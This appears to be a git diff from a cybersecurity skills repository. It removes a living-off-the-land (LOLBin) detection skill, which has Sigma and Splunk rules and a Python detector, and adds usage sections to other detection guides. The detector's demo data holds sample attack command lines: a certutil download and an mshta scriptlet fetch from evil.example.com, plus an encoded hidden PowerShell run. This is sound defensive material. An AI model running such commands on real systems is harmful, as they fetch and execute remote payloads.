||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -1,19 +0,0 @@
|
||||
---
|
||||
name: detecting-living-off-the-land-attacks
|
||||
description: >
|
||||
Detect abuse of legitimate Windows binaries (LOLBins) used for living off
|
||||
the land attacks. Monitors process creation, command-line arguments, and
|
||||
parent-child relationships to identify suspicious LOLBin execution patterns.
|
||||
domain: cybersecurity
|
||||
subdomain: threat-detection
|
||||
tags: [lolbins, lotl, fileless-attacks, process-monitoring]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
---
|
||||
|
||||
# Detecting Living Off the Land Attacks
|
||||
|
||||
Monitor for suspicious use of legitimate Windows binaries (LOLBins)
|
||||
including certutil, mshta, rundll32, regsvr32, and others used in
|
||||
fileless and living-off-the-land attack techniques.
|
||||
@@ -1,70 +0,0 @@
|
||||
# API Reference: Detecting Living Off the Land Attacks
|
||||
|
||||
## LOLBAS Project
|
||||
- Website: https://lolbas-project.github.io/
|
||||
- API: https://lolbas-project.github.io/api/lolbas.json
|
||||
- GitHub: https://github.com/LOLBAS-Project/LOLBAS
|
||||
|
||||
## Key LOLBins and MITRE Mappings
|
||||
| Binary | MITRE ATT&CK | Abuse Type |
|
||||
|--------|-------------|------------|
|
||||
| certutil.exe | T1140, T1105 | File download, decode |
|
||||
| mshta.exe | T1218.005 | Script execution via HTA |
|
||||
| rundll32.exe | T1218.011 | Proxy execution |
|
||||
| regsvr32.exe | T1218.010 | COM scriptlet execution |
|
||||
| msbuild.exe | T1127.001 | Code compilation |
|
||||
| bitsadmin.exe | T1197, T1105 | File download, persistence |
|
||||
| wmic.exe | T1047 | WMI execution |
|
||||
| cscript.exe | T1059.005 | VBS/JS script execution |
|
||||
| installutil.exe | T1218.004 | .NET install bypass |
|
||||
| powershell.exe | T1059.001 | Script execution |
|
||||
|
||||
## Sysmon Event IDs for Detection
|
||||
| Event ID | Description |
|
||||
|----------|------------|
|
||||
| 1 | Process Create (CommandLine, ParentImage) |
|
||||
| 3 | Network Connection (detect downloads) |
|
||||
| 7 | Image Loaded (DLL side-loading) |
|
||||
| 11 | File Create (dropped payloads) |
|
||||
| 15 | FileCreateStreamHash (ADS abuse) |
|
||||
|
||||
## Sigma Rules for LOLBin Detection
|
||||
```yaml
|
||||
title: Certutil File Download
|
||||
logsource:
|
||||
category: process_creation
|
||||
product: windows
|
||||
detection:
|
||||
selection:
|
||||
Image|endswith: '\\certutil.exe'
|
||||
CommandLine|contains|all:
|
||||
- 'urlcache'
|
||||
- 'split'
|
||||
- 'http'
|
||||
condition: selection
|
||||
level: high
|
||||
tags:
|
||||
- attack.defense_evasion
|
||||
- attack.t1140
|
||||
```
|
||||
|
||||
## Splunk SPL Detection
|
||||
```spl
|
||||
index=sysmon EventCode=1
|
||||
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|bitsadmin)\\.exe$")
|
||||
| eval suspicious=case(
|
||||
like(CommandLine, "%urlcache%"), "certutil download",
|
||||
like(CommandLine, "%javascript:%"), "script execution",
|
||||
like(CommandLine, "%-enc %"), "encoded command",
|
||||
true(), "review")
|
||||
| where suspicious!="review"
|
||||
| table _time Computer User Image CommandLine ParentImage suspicious
|
||||
```
|
||||
|
||||
## Suspicious Parent-Child Relationships
|
||||
| Parent | Suspicious Child |
|
||||
|--------|-----------------|
|
||||
| winword.exe | cmd.exe, powershell.exe, mshta.exe |
|
||||
| excel.exe | cmd.exe, powershell.exe, wmic.exe |
|
||||
| outlook.exe | powershell.exe, cmd.exe |
|
||||
| wmiprvse.exe | powershell.exe, cmd.exe |
|
||||
@@ -1,221 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Living off the land (LOLBin) attack detection agent.
|
||||
|
||||
Monitors process creation logs for suspicious use of legitimate Windows
|
||||
binaries, correlates with LOLBAS project data, and flags anomalous
|
||||
command-line patterns and parent-child process relationships.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import datetime
|
||||
|
||||
try:
|
||||
import requests
|
||||
HAS_REQUESTS = True
|
||||
except ImportError:
|
||||
HAS_REQUESTS = False
|
||||
|
||||
|
||||
LOLBIN_SIGNATURES = {
|
||||
"certutil.exe": {
|
||||
"suspicious_args": [
|
||||
r"-urlcache", r"-split", r"-decode", r"-encode",
|
||||
r"-verifyctl", r"http[s]?://",
|
||||
],
|
||||
"mitre": ["T1140", "T1105"],
|
||||
"description": "Certificate utility abused for file download/decode",
|
||||
},
|
||||
"mshta.exe": {
|
||||
"suspicious_args": [r"javascript:", r"vbscript:", r"http[s]?://", r"about:"],
|
||||
"mitre": ["T1218.005"],
|
||||
"description": "HTML Application host used for script execution",
|
||||
},
|
||||
"rundll32.exe": {
|
||||
"suspicious_args": [
|
||||
r"javascript:", r"shell32\.dll.*ShellExec_RunDLL",
|
||||
r"url\.dll.*FileProtocolHandler", r"advpack\.dll.*RegisterOCX",
|
||||
],
|
||||
"mitre": ["T1218.011"],
|
||||
"description": "DLL loader abused for proxy execution",
|
||||
},
|
||||
"regsvr32.exe": {
|
||||
"suspicious_args": [r"/s", r"/u", r"/i:http", r"scrobj\.dll"],
|
||||
"mitre": ["T1218.010"],
|
||||
"description": "COM registration utility abused for script execution",
|
||||
},
|
||||
"msbuild.exe": {
|
||||
"suspicious_args": [r"\.xml$", r"\.csproj$", r"/p:", r"\.tmp"],
|
||||
"mitre": ["T1127.001"],
|
||||
"description": "Build tool abused for code compilation and execution",
|
||||
},
|
||||
"installutil.exe": {
|
||||
"suspicious_args": [r"/logfile=", r"/LogToConsole=false", r"/U"],
|
||||
"mitre": ["T1218.004"],
|
||||
"description": ".NET install utility abused for code execution",
|
||||
},
|
||||
"bitsadmin.exe": {
|
||||
"suspicious_args": [r"/transfer", r"/create", r"/addfile", r"http[s]?://"],
|
||||
"mitre": ["T1197", "T1105"],
|
||||
"description": "BITS service abused for file download and persistence",
|
||||
},
|
||||
"wmic.exe": {
|
||||
"suspicious_args": [
|
||||
r"process\s+call\s+create", r"os\s+get", r"/node:",
|
||||
r"shadowcopy\s+delete",
|
||||
],
|
||||
"mitre": ["T1047"],
|
||||
"description": "WMI command-line abused for execution and recon",
|
||||
},
|
||||
"cscript.exe": {
|
||||
"suspicious_args": [r"\.vbs", r"\.js", r"//E:jscript", r"//B"],
|
||||
"mitre": ["T1059.005", "T1059.007"],
|
||||
"description": "Script host executing VBS/JS from unusual location",
|
||||
},
|
||||
"powershell.exe": {
|
||||
"suspicious_args": [
|
||||
r"-enc\s+[A-Za-z0-9+/=]{20,}", r"-ExecutionPolicy\s+Bypass",
|
||||
r"-WindowStyle\s+Hidden", r"Invoke-Expression",
|
||||
r"IEX\s*\(", r"Net\.WebClient", r"DownloadString",
|
||||
],
|
||||
"mitre": ["T1059.001"],
|
||||
"description": "PowerShell with obfuscation or download cradle",
|
||||
},
|
||||
}
|
||||
|
||||
SUSPICIOUS_PARENTS = {
|
||||
"winword.exe": "Office application spawning child process",
|
||||
"excel.exe": "Office application spawning child process",
|
||||
"outlook.exe": "Email client spawning child process",
|
||||
"powerpnt.exe": "Office application spawning child process",
|
||||
"wmiprvse.exe": "WMI provider executing child process",
|
||||
"svchost.exe": "Service host spawning unexpected child",
|
||||
}
|
||||
|
||||
|
||||
def analyze_process_event(process_name, command_line, parent_name=None):
|
||||
"""Analyze a process creation event for LOLBin abuse."""
|
||||
findings = []
|
||||
proc_lower = process_name.lower()
|
||||
cmd_lower = command_line.lower() if command_line else ""
|
||||
|
||||
sig = LOLBIN_SIGNATURES.get(proc_lower)
|
||||
if sig:
|
||||
matched_patterns = []
|
||||
for pattern in sig["suspicious_args"]:
|
||||
if re.search(pattern, cmd_lower, re.IGNORECASE):
|
||||
matched_patterns.append(pattern)
|
||||
if matched_patterns:
|
||||
findings.append({
|
||||
"type": "lolbin_abuse",
|
||||
"binary": proc_lower,
|
||||
"description": sig["description"],
|
||||
"mitre_techniques": sig["mitre"],
|
||||
"matched_patterns": matched_patterns,
|
||||
"command_line": command_line[:200],
|
||||
"severity": "HIGH",
|
||||
})
|
||||
|
||||
if parent_name and parent_name.lower() in SUSPICIOUS_PARENTS:
|
||||
findings.append({
|
||||
"type": "suspicious_parent",
|
||||
"parent": parent_name.lower(),
|
||||
"child": proc_lower,
|
||||
"description": SUSPICIOUS_PARENTS[parent_name.lower()],
|
||||
"severity": "HIGH",
|
||||
})
|
||||
|
||||
return findings
|
||||
|
||||
|
||||
def scan_process_log(log_entries):
|
||||
"""Scan a list of process creation log entries."""
|
||||
all_findings = []
|
||||
for entry in log_entries:
|
||||
findings = analyze_process_event(
|
||||
entry.get("process_name", ""),
|
||||
entry.get("command_line", ""),
|
||||
entry.get("parent_name"),
|
||||
)
|
||||
if findings:
|
||||
entry_result = {"event": entry, "findings": findings}
|
||||
all_findings.append(entry_result)
|
||||
return all_findings
|
||||
|
||||
|
||||
def fetch_lolbas_data():
|
||||
"""Fetch LOLBAS project data from GitHub."""
|
||||
if not HAS_REQUESTS:
|
||||
return {"error": "requests not installed"}
|
||||
url = "https://lolbas-project.github.io/api/lolbas.json"
|
||||
try:
|
||||
resp = requests.get(url, timeout=15)
|
||||
if resp.status_code == 200:
|
||||
data = resp.json()
|
||||
return {"count": len(data), "binaries": [d.get("Name", "") for d in data[:30]]}
|
||||
return {"error": f"HTTP {resp.status_code}"}
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Detect living off the land (LOLBin) attacks"
|
||||
)
|
||||
parser.add_argument("--log-file", help="JSON file with process creation events")
|
||||
parser.add_argument("--fetch-lolbas", action="store_true", help="Fetch LOLBAS project data")
|
||||
parser.add_argument("--output", "-o", help="Output JSON report path")
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] Living Off the Land Attack Detection Agent")
|
||||
print(f" Monitored LOLBins: {len(LOLBIN_SIGNATURES)}")
|
||||
|
||||
report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z"}
|
||||
|
||||
if args.fetch_lolbas:
|
||||
lolbas = fetch_lolbas_data()
|
||||
report["lolbas_project"] = lolbas
|
||||
print(f"[*] LOLBAS data: {lolbas}")
|
||||
|
||||
if args.log_file and os.path.isfile(args.log_file):
|
||||
with open(args.log_file) as f:
|
||||
events = json.load(f)
|
||||
results = scan_process_log(events)
|
||||
report["findings"] = results
|
||||
print(f"[*] Events analyzed: {len(events)}")
|
||||
print(f"[*] Suspicious findings: {len(results)}")
|
||||
else:
|
||||
demo_events = [
|
||||
{"process_name": "certutil.exe",
|
||||
"command_line": "certutil.exe -urlcache -split -f https://evil.example.com/payload.exe C:\\temp\\payload.exe",
|
||||
"parent_name": "cmd.exe"},
|
||||
{"process_name": "mshta.exe",
|
||||
"command_line": "mshta.exe javascript:a=GetObject('script:https://evil.example.com/s.sct')",
|
||||
"parent_name": "winword.exe"},
|
||||
{"process_name": "powershell.exe",
|
||||
"command_line": "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -enc SQBFAFgA...",
|
||||
"parent_name": "excel.exe"},
|
||||
{"process_name": "notepad.exe",
|
||||
"command_line": "notepad.exe C:\\Users\\admin\\notes.txt",
|
||||
"parent_name": "explorer.exe"},
|
||||
]
|
||||
results = scan_process_log(demo_events)
|
||||
report["findings"] = results
|
||||
print(f"\n[DEMO] Analyzed {len(demo_events)} process events")
|
||||
for r in results:
|
||||
for f in r["findings"]:
|
||||
print(f" [!] {f['type']}: {f['binary'] if 'binary' in f else f.get('child','')} "
|
||||
f"- {f['description']}")
|
||||
|
||||
if args.output:
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
|
||||
print(json.dumps({"lolbins_monitored": len(LOLBIN_SIGNATURES),
|
||||
"findings": len(report.get("findings", []))}, indent=2))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -16,3 +16,18 @@ license: Apache-2.0
|
||||
|
||||
Analyze OAuth sign-in telemetry for indicators of token theft including
|
||||
impossible travel, device fingerprint changes, and token replay attacks.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require detecting oauth token theft
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Familiarity with identity security concepts and tools
|
||||
- Access to a test or lab environment for safe execution
|
||||
- Python 3.8+ with required dependencies installed
|
||||
- Appropriate authorization for any testing activities
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
Privilege escalation in Kubernetes occurs when a pod or container gains elevated permissions beyond its intended scope. This includes running as root, using privileged mode, mounting host filesystems, enabling dangerous Linux capabilities, or exploiting kernel vulnerabilities. Detection combines admission control (prevention), runtime monitoring (detection), and audit logging (investigation).
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require detecting privilege escalation in kubernetes pods
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Kubernetes cluster v1.25+ (Pod Security Admission support)
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user